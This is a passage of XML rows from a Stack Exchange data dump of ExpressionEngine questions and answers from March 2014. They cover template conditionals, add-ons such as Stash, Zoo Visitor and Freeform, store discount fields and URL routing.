  <row Id="20535" PostTypeId="2" ParentId="20459" CreationDate="2014-03-21T06:13:33.853" Score="1" Body="&lt;p&gt;Using this kind of conditional in a parameter won't work well:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return_when_logged_in=&quot;{if segment_2}/'{segment_2}'{if:elseif segment_3}'{segment_2}'/'{segment_3}'/{if:elseif segment_4}'{segment_2}'/'{segment_3}/'{segment_4}'{if:else}/{/if}&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;First, you shouldn't need those single quotes, as this could cause more issues than less.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also with the above, you're using an &lt;strong&gt;advanced conditional&lt;/strong&gt; within an &lt;code&gt;{exp:...}&lt;/code&gt; tag's parameter. This gets parsed &lt;strong&gt;after&lt;/strong&gt; the &lt;code&gt;{exp:...}&lt;/code&gt; tag, which likely is giving you the error. Always use &lt;strong&gt;simple conditionals&lt;/strong&gt; when working with parameters. In this case you could simply try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return_when_logged_in=&quot;/{segment_2}/{segment_3}/{segment_4}&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, your return URL may have a number of slashes at the end, eg. &lt;code&gt;http://mysite.com/template_group/template//&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A better solution is the following, all using &lt;strong&gt;simple conditionals&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return_when_logged_in=&quot;{if segment_2}/{segment_2}{/if}{if segment_3}/{segment_3}{/if}{if segment_4}/{segment_4}{/if}&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Notice how all conditionals are simple conditionals. These will parse &lt;strong&gt;before&lt;/strong&gt; the &lt;code&gt;{exp:...}&lt;/code&gt; tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is general EE advice, by the way, so can come in handy with 1st- and 3rd-party tags. &lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-03-21T06:13:33.853" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20536" PostTypeId="2" ParentId="20513" CreationDate="2014-03-21T09:39:53.070" Score="1" Body="&lt;p&gt;Yip, &lt;code&gt;{promo_code}&lt;/code&gt; should do it. It's just a regular order field in that regard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: Looks like you actually want more details about the discount other than just the promo code. In that case, you could use the &lt;code&gt;{exp:query}&lt;/code&gt; module with some simple SQL like this (inside the checkout tag):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;select * from exp_store_discounts where id = '{discount_id}'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="150" LastEditorUserId="150" LastEditDate="2014-03-21T10:12:29.137" LastActivityDate="2014-03-21T10:12:29.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20537" PostTypeId="2" ParentId="20496" CreationDate="2014-03-21T09:49:07.697" Score="1" Body="&lt;p&gt;Turnes out the $_POST data for my field has everything I needed, and I used it like this:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;'field_id_32' =&gt; $channel_form_obj-&gt;entry('job_photos')  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;'field_id_32' =&gt; $_POST['job_photos']  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Makes me wonder why the channel form object did not have that in the first place?&lt;/p&gt;&#xA;" OwnerUserId="114" LastActivityDate="2014-03-21T09:49:07.697" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20540" PostTypeId="2" ParentId="20442" CreationDate="2014-03-21T10:40:48.290" Score="1" Body="&lt;p&gt;In the checkout and order tags, you can access the &lt;code&gt;{items}&lt;/code&gt; loop. Inside the &lt;code&gt;{items}&lt;/code&gt; loop you can use the &lt;code&gt;{entry_id}&lt;/code&gt; variable to access entry custom fields and categories:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{items}&#xA;  {exp:channel:entries entry_id=&quot;{entry_id}&quot;}&#xA;    &amp;lt;!-- you can access category tags here --&amp;gt;&#xA;  {/exp:channel:entries}&#xA;{/items}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then inside the channel entries tag you can access the regular &lt;code&gt;{categories}&lt;/code&gt; loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://exp-resso.com/docs/checkout_tag.html#checkout_tag_variables&quot; rel=&quot;nofollow&quot;&gt;https://exp-resso.com/docs/checkout_tag.html#checkout_tag_variables&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#categories&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#categories&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2014-03-21T10:40:48.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20541" PostTypeId="2" ParentId="20532" CreationDate="2014-03-21T10:46:56.927" Score="1" Body="&lt;p&gt;How you intend to search the directory is certainly a factor as far as your channel structure is concerned. Are you browsing only? And by category or geography? Or are you introducing a geolocated search functionality?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No matter how you handle the browse/search itself, you certainly should be able to assign one location as a &quot;headquarters&quot; simply by having a relationship field and within the non-headquarters location entries, relate them to their parent location/headquarters (if that is appropriate to the organizational structure).&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2014-03-21T10:46:56.927" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="20542" PostTypeId="1" CreationDate="2014-03-21T11:53:20.343" Score="0" ViewCount="19" Body="&lt;p&gt;I have set all permissions to 777 on all folders and files specified by this article: &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/operations/moving.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/operations/moving.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I uploaded a new Extension to the new site. It currently says &quot;Disabled&quot;, so I click to Enable. It gives me the option to Install a Module and an Extension, I choose to install both.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The page reloads - and the extension remains disabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried making the /system/expressionengine/third_party/extension_name/ folder 777 (and all subfiles) but it makes no difference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="742" LastActivityDate="2014-03-21T11:53:20.343" Title="I think I have a permissions problem on an EE site - no Extensions will be installed - they remain &quot;Disabled&quot;" Tags="|extension|permissions|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="20543" PostTypeId="1" CreationDate="2014-03-21T12:55:10.553" Score="0" ViewCount="119" Body="&lt;p&gt;A PHP Error was encountered&#xA;Severity: Notice&#xA;Message: Undefined index: enabled_types&#xA;Filename: fieldpack/helper.php&#xA;Line Number: 78&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A PHP Error was encountered&#xA;Severity: Warning&#xA;Message: Invalid argument supplied for foreach()&#xA;Filename: fieldpack/helper.php&#xA;Line Number: 78&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On specific field types this error occurs. I am guessing that it is the foreach loop as it is only list, multiselect, pill, etc, fieldtypes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not stopping my development - but thought i should flag it and see if anyone knows reason / fix...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;N&lt;/p&gt;&#xA;" OwnerUserId="1114" LastActivityDate="2014-10-06T16:12:23.867" Title="P&amp;T Field Pack 2.1.1 on EE2.8.1 Installation Errors Notice and warnings" Tags="|pixelandtonic|field-pack|install|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20544" PostTypeId="1" AcceptedAnswerId="20545" CreationDate="2014-03-21T13:01:23.650" Score="0" ViewCount="62" Body="&lt;p&gt;I have some templates in a group called 'client area'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;they include&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;client_area&#xA;  - profile&#xA;  - editprofile&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so these resolve to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;client_area/profile&#xA;client_area/editprofile&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want edit profile to resolve to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;client_area/profile/editprofile&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;without having to create a sub group of proifile. Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="2616" LastActivityDate="2014-03-21T17:04:33.860" Title="Rewriting urls of templates" Tags="|templates|url|groups|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20545" PostTypeId="2" ParentId="20544" CreationDate="2014-03-21T14:02:33.647" Score="1" Body="&lt;p&gt;I would do this by using a conditional within the client_area/profile template.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_3=='editprofile'}&#xA;    Embed your edit profile template&#xA;{if:else}&#xA;    Show the user's profile&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-03-21T14:02:33.647" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20546" PostTypeId="2" ParentId="20521" CreationDate="2014-03-21T14:45:22.780" Score="0" Body="&lt;p&gt;Normally this line...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('.contact-form').each(function()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;would be specific to the ID of the form that will be validated. I'm assuming that both of these forms have a class of 'contact-form'? If they're both on separate web pages then I guess that would work. But I prefer to have a specific ID for each form and then call the validation on that specific ID. Does that present any solutions?&lt;/p&gt;&#xA;" OwnerUserId="505" LastActivityDate="2014-03-21T14:45:22.780" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20547" PostTypeId="1" AcceptedAnswerId="20574" CreationDate="2014-03-21T15:13:36.400" Score="1" ViewCount="102" Body="&lt;p&gt;Simple question, but I can't seem to find the documentation to do this properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently using the following: &lt;code&gt;{order_qty} ITEMS IN BAG&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I go about replacing &quot;ITEMS&quot; with &quot;ITEM&quot; when the quantity equals 1?&lt;/p&gt;&#xA;" OwnerUserId="2678" LastActivityDate="2014-03-24T16:48:27.983" Title="Expresso Store, using quantity with if/else" Tags="|expresso-store|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="20548" PostTypeId="1" CreationDate="2014-03-21T15:17:30.030" Score="1" ViewCount="69" Body="&lt;p&gt;My users only get proper search results when using the simple search form the first time. Each subsequent search either returns no results or an error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;The action you have requested is invalid.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 2.7.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone seen this or have insight?&lt;/p&gt;&#xA;" OwnerUserId="2720" LastActivityDate="2014-06-19T22:21:52.940" Title="Simple search - Only works the first time?" Tags="|ee2|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20549" PostTypeId="2" ParentId="20547" CreationDate="2014-03-21T15:57:57.590" Score="1" Body="&lt;pre&gt;&lt;code&gt;{if {order_qty} == 1}ITEM{if:else}ITEMS{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2678" LastActivityDate="2014-03-21T15:57:57.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20550" PostTypeId="1" AcceptedAnswerId="20643" CreationDate="2014-03-21T16:52:01.993" Score="1" ViewCount="276" Body="&lt;p&gt;I've used Zoo Visitor 1.3.30 without problems on a EE 2.5.5 build but I'm having all kinds of problems with &quot;nothing happening&quot; when using any of the forms. I'm assuming I'm just missing something simple (at least that's what I'm hoping for!) but for the life of me I can't figure it out :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All of the troubleshooting checks out fine:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BPHqA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As well as the Installation part of things:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aIzz9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried using Structure to setup my templates (that's what I did with the 2.5.5 build) and forms wouldn't submit so I copied over the entire Zoo Visitor Example templates (to it's own template group) and those wouldn't update either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see them both in action here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://acs.planetmediaserver.com/profile&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://acs.planetmediaserver.com/profile&lt;/a&gt;&#xA;&lt;a href=&quot;http://acs.planetmediaserver.com/zoo_visitor_example&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://acs.planetmediaserver.com/zoo_visitor_example&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I even turned off everything that I could in the Member Preferences section:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6K0mu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What else could I try to check?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what my registration form looks like and again it's just a copy of what Zoo gives you:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:zoo_visitor:registration_form return='profile/register/success'}&#xA;&#xA;&amp;lt;h3&amp;gt;Register&amp;lt;/h3&amp;gt;&#xA;&amp;lt;fieldset&amp;gt;&#xA;    &amp;lt;h4&amp;gt;Extra fields&amp;lt;/h4&amp;gt;&#xA;&#xA;    &amp;lt;p&amp;gt;&#xA;        &amp;lt;label for=&quot;member_firstname&quot;&amp;gt;{label:member_firstname}:&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; name=&quot;member_firstname&quot; id=&quot;member_firstname&quot; value=&quot;{if member_firstname}{member_firstname}{/if}&quot;/&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;&#xA;    &amp;lt;p&amp;gt;&#xA;        &amp;lt;label for=&quot;member_lastname&quot;&amp;gt;{label:member_lastname}:&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; name=&quot;member_lastname&quot; id=&quot;member_lastname&quot; value=&quot;{if member_lastname}{member_lastname}{/if}&quot;/&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;&#xA;    &amp;lt;p&amp;gt;&#xA;        &amp;lt;label for=&quot;member_gender&quot;&amp;gt;{label:member_gender}&amp;lt;/label&amp;gt;&#xA;        {options:member_gender}&#xA;        &amp;lt;input type=&quot;radio&quot; id=&quot;member_gender&quot; name=&quot;member_gender&quot; value=&quot;{option_value}&quot; {checked} /&amp;gt;{option_value}&#xA;        {/options:member_gender}&#xA;    &amp;lt;/p&amp;gt;&#xA;&#xA;    &amp;lt;p&amp;gt;&#xA;        &amp;lt;label for=&quot;member_address&quot;&amp;gt;{label:member_birthday}&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; name=&quot;member_birthday&quot; id=&quot;member_birthday&quot; value=&quot;{member_birthday}&quot; maxlength=&quot;23&quot; size=&quot;25&quot;/&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;&amp;lt;/fieldset&amp;gt;&#xA;&amp;lt;br/&amp;gt;&#xA;&amp;lt;fieldset&amp;gt;&#xA;    &amp;lt;legend&amp;gt;Native member field&amp;lt;/legend&amp;gt;&#xA;    &amp;lt;p&amp;gt;Mative member fields like location, url, signature, etc... can be handled by creating a channel field with the same name prefixed with &quot;_member&quot;&#xA;        For example member_signature will sync to the signature field. Custom member fields can be handled in the same way. Just create a channel field prefixed with &quot;member_&quot; and the value&#xA;        will also be saved to the profile.&amp;lt;/p&amp;gt;&#xA;&#xA;    &amp;lt;p&amp;gt;&#xA;        &amp;lt;label for=&quot;member_signature&quot;&amp;gt;Native member signature&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; name=&quot;member_signature&quot; id=&quot;member_signature&quot; value=&quot;{if member_signature}{member_signature}{/if}&quot;/&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;&#xA;&amp;lt;/fieldset&amp;gt;&#xA;&#xA;&amp;lt;fieldset&amp;gt;&#xA;    &amp;lt;h4&amp;gt;Login details&amp;lt;/h4&amp;gt;&#xA;&#xA;    &amp;lt;p&amp;gt;&#xA;        &amp;lt;label for=&quot;username&quot;&amp;gt;Email*:&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; name=&quot;email&quot; id=&quot;email&quot; value=&quot;{if email}{email}{/if}&quot;/&amp;gt;&#xA;        &amp;lt;br/&amp;gt;(this will be your login/username if 'use email as username' has been set)&#xA;    &amp;lt;/p&amp;gt;&#xA;&#xA;    &amp;lt;p&amp;gt;&#xA;        &amp;lt;label for=&quot;password&quot;&amp;gt;Password*:&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input type=&quot;password&quot; name=&quot;password&quot; id=&quot;password&quot; value=&quot;{if password}{password}{/if}&quot;/&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;&#xA;    &amp;lt;p&amp;gt;&#xA;        &amp;lt;label for=&quot;password_confirm&quot;&amp;gt;Confirm password*:&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input type=&quot;password&quot; name=&quot;password_confirm&quot; id=&quot;password_confirm&quot; value=&quot;{if password_confirm}{password_confirm}{/if}&quot;/&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;&#xA;    &amp;lt;p&amp;gt;&#xA;        &amp;lt;label for=&quot;terms_of_service&quot;&amp;gt;Terms of service:&amp;lt;/label&amp;gt;&#xA;        &amp;lt;textarea name='terms' rows='4' readonly&amp;gt;All messages posted at this site express the views of the author, and do not necessarily reflect the views of the owners and administrators&#xA;            of this site.By registering at this site you agree not to post any messages that are obscene, vulgar, slanderous, hateful, threatening, or that violate any laws. We will&#xA;            permanently ban all users who do so.We reserve the right to remove, edit, or move any messages for any reason.&amp;lt;/textarea&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;&#xA;    &amp;lt;p&amp;gt;&#xA;        &amp;lt;label for=&quot;accept_terms&quot;&amp;gt;Accept terms of service?*&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input type='checkbox' name='accept_terms' value='y' {if accept_terms == &quot;y&quot;}checked=&quot;checked&quot;{/if} /&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;&#xA;    {if captcha}&#xA;    &amp;lt;p&amp;gt;&#xA;        &amp;lt;label for=&quot;captcha&quot;&amp;gt;{lang:captcha}*&amp;lt;/label&amp;gt;&#xA;        {captcha}&amp;lt;br/&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; id=&quot;captcha&quot; name=&quot;captcha&quot; value=&quot;&quot; size=&quot;20&quot; maxlength=&quot;20&quot; style=&quot;width:140px;&quot;/&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;    {/if}&#xA;&amp;lt;/fieldset&amp;gt;&#xA;&amp;lt;p&amp;gt;&#xA;    &amp;lt;input type=&quot;submit&quot; value=&quot;Register&quot; class=&quot;form-submit&quot;/&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;* Required fields&amp;lt;/p&amp;gt;&#xA;&#xA;{/exp:zoo_visitor:registration_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks again for all of the help recently!&lt;/p&gt;&#xA;" OwnerUserId="11" LastEditorUserId="11" LastEditDate="2014-03-24T15:19:54.497" LastActivityDate="2016-12-02T12:20:27.077" Title="Zoo Visitor / Not Functioning Properly /" Tags="|zoo-visitor|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20551" PostTypeId="1" AcceptedAnswerId="20583" CreationDate="2014-03-21T16:53:59.873" Score="1" ViewCount="173" Body="&lt;p&gt;I'm trying to set (and change) a Stash var within a search loop. I tried process='end', parse='inward' and similar, but i can't set/update/replace the var inside the loop and get the proper value back:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:search_fields search:chapter_keywords='{embed:search}' search:chapter_text='{embed:search}' operator=&quot;OR&quot; channel=&quot;chapter&quot; parse=&quot;inward&quot;}&#xA;    {exp:channel:entries entry_id=&quot;{search_results}&quot; orderby=&quot;chapter_name&quot; sort=&quot;asc&quot; limit=&quot;50&quot; dynamic=&quot;no&quot; disable=&quot;categories|category_fields|member_data|pagination&quot;}&#xA;&#xA;        {exp:stash:set name=&quot;chapterType&quot; parse=&quot;inward&quot; parse_tags=&quot;yes&quot; trim=&quot;yes&quot;}unknown{/exp:stash:set}        &#xA;        {chapter_videos limit=&quot;1&quot;}  &#xA;            {if chapter_videos:count &amp;gt; 0}&#xA;                {exp:stash:set name=&quot;chapterType&quot; parse=&quot;inward&quot; parse_tags=&quot;yes&quot; trim=&quot;yes&quot; replace=&quot;yes&quot;}video{/exp:stash:set}            &#xA;            {/if}&#xA;        {/chapter_videos}   &#xA;&#xA;&#xA;        {chapter_images limit=&quot;1&quot;}&#xA;            {if chapter_images:count &amp;gt; 0}       &#xA;                    {exp:stash:set name=&quot;chapterType&quot; parse=&quot;inward&quot; parse_tags=&quot;yes&quot; trim=&quot;yes&quot; replace=&quot;yes&quot;}image{/exp:stash:set}    &#xA;            {/if}&#xA;        {/chapter_images}&#xA;&#xA;          {embed=&quot;_chapters/index&quot; entryId=&quot;{entry_id}&quot; chapterType=&quot;{exp:stash:get name='chapterType' process='end'}{/exp:stash:get}&quot;}             &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Not closing exp: here, but they are closed for real.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:stash:get name='chapterType' process='end'}{/exp:stash:get}            &lt;/p&gt;&#xA;&#xA;&lt;p&gt;always returns 'image'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:stash:get name='chapterType'}{/exp:stash:get}          &lt;/p&gt;&#xA;&#xA;&lt;p&gt;always returns 'video'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When i output the chapterType within the loop without try to set it with Stash it'll print the correct vars (image, video, unknown) depending on the search results/loop entries.&lt;/p&gt;&#xA;" OwnerUserId="2878" LastActivityDate="2014-03-24T12:02:24.647" Title="Stash: set and replace inside exp:search_fields and exp:channel:entries not working" Tags="|stash|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20552" PostTypeId="2" ParentId="20544" CreationDate="2014-03-21T17:04:33.860" Score="0" Body="&lt;p&gt;Are you using the latest 2.8.x version of EE? If so, you should be able to use the new native Template Routing functionality to achieve this. If you're on an older version you can use the Resource Router add-on (&lt;a href=&quot;https://github.com/rsanchez/resource_router&quot; rel=&quot;nofollow&quot;&gt;https://github.com/rsanchez/resource_router&lt;/a&gt;) to do the same thing and save yourself embed overhead. &lt;/p&gt;&#xA;" OwnerUserId="367" LastActivityDate="2014-03-21T17:04:33.860" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20553" PostTypeId="1" AcceptedAnswerId="20554" CreationDate="2014-03-21T17:18:28.030" Score="1" ViewCount="726" Body="&lt;p&gt;Freeform: 4.1.2 &#xA;EE 2.7.0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Trying to upload a file with an entry. So far no success.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I referenced this &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/6821/freeform-file-upload&quot;&gt;post&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my code: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:form&#xA;   form_id=&quot;1&quot;&#xA;   required=&quot;name|email|phone1|experience&quot;&#xA;   return=&quot;page/thank-you&quot;&#xA;   notify_admin=&quot;yes&quot;&#xA;   notify_admin_template=&quot;contact&quot;&#xA;   file_upload=&quot;Resume Uploads&quot;&#xA;   send_attachment=&quot;yes&quot;  &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried this for the input field - it looks right but does not upload the file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;file&quot;{freeform:field:file1 show=&quot;1&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I tried this and it simply creates a text area with no file upload options.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{freeform:field:file1 show=&quot;1&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have searched the Solspace &lt;a href=&quot;http://www.solspace.com/docs/freeform/default_fieldtypes/#file_upload&quot; rel=&quot;nofollow noreferrer&quot;&gt;documentation&lt;/a&gt;, but there are no examples and the file upload code does not help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would appreciate any assistance on this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="258" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2014-03-21T17:51:12.553" Title="Solspace: Freeform - attachments not uploading" Tags="|solspace-freeform|solspace|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20554" PostTypeId="2" ParentId="20553" CreationDate="2014-03-21T17:51:12.553" Score="1" Body="&lt;p&gt;In my template, the field looks like this:&#xA;{freeform:field:attach_your_resume}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, I would try removing the part of your tag that says &quot;show=1&quot; and just use:&#xA;{freeform:field:file1}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, did you create the field called &quot;file1&quot; (from the freeform admin inside EE)  And if so, what filetypes did you set it up to accept?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, in Expression Engine, have you set it up to allow those kinds of file uploads?  Look in:&#xA;Content-&gt;Files-&gt;File Upload Preferences&#xA;and look at the Allowed File Types for your file upload location.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, if that still isn't working, you may need to look at your mimes.php file which is found inside the Expression Engine core.&lt;/p&gt;&#xA;" OwnerUserId="2422" LastActivityDate="2014-03-21T17:51:12.553" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20555" PostTypeId="1" AcceptedAnswerId="26516" CreationDate="2014-03-21T18:19:07.390" Score="1" ViewCount="129" Body="&lt;p&gt;I have a relationships field which pulls in from two channels: Posts and Programs. When the client is creating a page, this field enables them to manually relate the page to a number of blog posts and nonprofit programs, which appear in a &quot;Related Content&quot; section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But EE 2.8's Relationships field only shows the title of an entry in the relationship picker. If a Post and a Program have similar titles or the same title, there seems to be no way for the client to know which is which.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone found a solution or workaround for this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've sort-of found a workaround using &lt;a href=&quot;http://devot-ee.com/add-ons/playa&quot; rel=&quot;nofollow&quot;&gt;Playa&lt;/a&gt;, but it's not great. Playa is an addon for managing relationships. It allows relations to multiple channels and its related entry picker does let you &lt;em&gt;filter&lt;/em&gt; by channel. Unfortunately...&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;It requires several clicks to start filtering by channel&lt;/li&gt;&#xA;&lt;li&gt;While it lets you filter by one channel at a time, you have to keep switching the filter back and forth to select multiple entries from different channels.&lt;/li&gt;&#xA;&lt;li&gt;Once you've picked relationships and they appear in the right column, there's no indication of which channel they came from.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I'm new to EE, but I could imagine creating an addon which simply overrides the output of the Relationships picker to show something like &lt;code&gt;&amp;lt;channel_name&amp;gt;: &amp;lt;title&amp;gt;&lt;/code&gt; instead of &lt;code&gt;&amp;lt;title&amp;gt;&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2838" LastEditorUserId="2838" LastEditDate="2014-03-21T21:41:34.500" LastActivityDate="2014-10-30T13:53:12.133" Title="Relationships to multiple channels: how to know which channel you're picking from?" 